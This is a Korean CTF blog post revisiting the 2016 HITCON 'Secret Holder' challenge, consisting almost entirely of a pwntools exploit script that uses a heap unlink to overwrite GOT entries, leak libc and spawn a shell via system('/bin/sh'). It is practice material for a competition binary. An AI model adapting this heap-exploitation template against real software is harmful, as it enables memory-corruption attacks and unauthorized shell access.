2016 Hitcon secret holder [Again]
CTF2018. 3. 21. 02:11
다른 문제들을 풀면서 내가 아직 청크를 컨트롤하는 부분이 많이 미흡하다고 생각했다. 그래서 전에 풀이를 보고 풀었던 Hitcon의 secret holder를 다시 풀어보았다. 물론 풀이를 안보고 풀었다. sleepy_holder까지 풀고 원래 풀던 문제를 다시 잡아야겠다. 처음 풀었던 글에 설명을 썼으니까 여기에는 익스코드만 올려야지 ㅎ.
전에 풀었던 것과 비교해봤는데 릭은 똑같이 했고 이번에는 공격을 free를 system으로 덮어서 풀었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * p = process("./SecretHolder") elf = ELF("./SecretHolder") def keep(size,content): p.sendafter("3. Renew secret\n","1") p.sendafter("3. Huge secret\n",str(size)) p.sendafter("secret: \n",content) def wipe(idx): p.sendafter("3. Renew secret\n","2") p.sendafter("3. Huge secret\n",str(idx)) def renew(idx,content): p.sendafter("3. Renew secret\n","3") p.sendafter("3. Huge secret\n",str(idx)) p.sendafter("secret: \n",content) keep(1,"A"*16) keep(2,"B"*16) keep(3,"C"*16) wipe(3) wipe(2) wipe(1) keep(3,"A"*16) wipe(1) keep(1,"a"*16) keep(2,"b"*16) renew(3,p64(0)+p64(0x21)+p64(0x6020b0-0x18)+p64(0x6020b0-0x10)+p64(0x20)+p64(0xfb0)) wipe(2) keep(2,"c"*8) renew(1,"A"*8+p64(0x6020a8)) renew(2,p64(elf.got["free"])) renew(3,p64(elf.plt["puts"])) renew(1,"a"*8+p64(elf.got["puts"])) wipe(2) puts = u64(p.recv(6)+"\x00"*2) base = puts-0x6f690 system = base+0x45390 binsh = base+0x18cd57 one = base+0xf1145 #0xf1145 0xf02a4 0x4526a 0x45216 print "puts: " + hex(puts) print "base: " + hex(base) print "system: " + hex(system) print "binsh: " + hex(binsh) print "one_shot: " + hex(one) renew(1,"a"*8+p64(binsh)+p64(elf.got["free"])) renew(3,p64(system)) wipe(2) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2017 Codegate Final petshop (0) | 2018.03.27 |
---|---|
2016 Hitcon sleepy holder [Again] (0) | 2018.03.22 |
2017 hitcon training zoo (0) | 2018.03.14 |
2018 N1CTF vote (0) | 2018.03.12 |
2014 Hack.lu CTF OREO (0) | 2018.03.06 |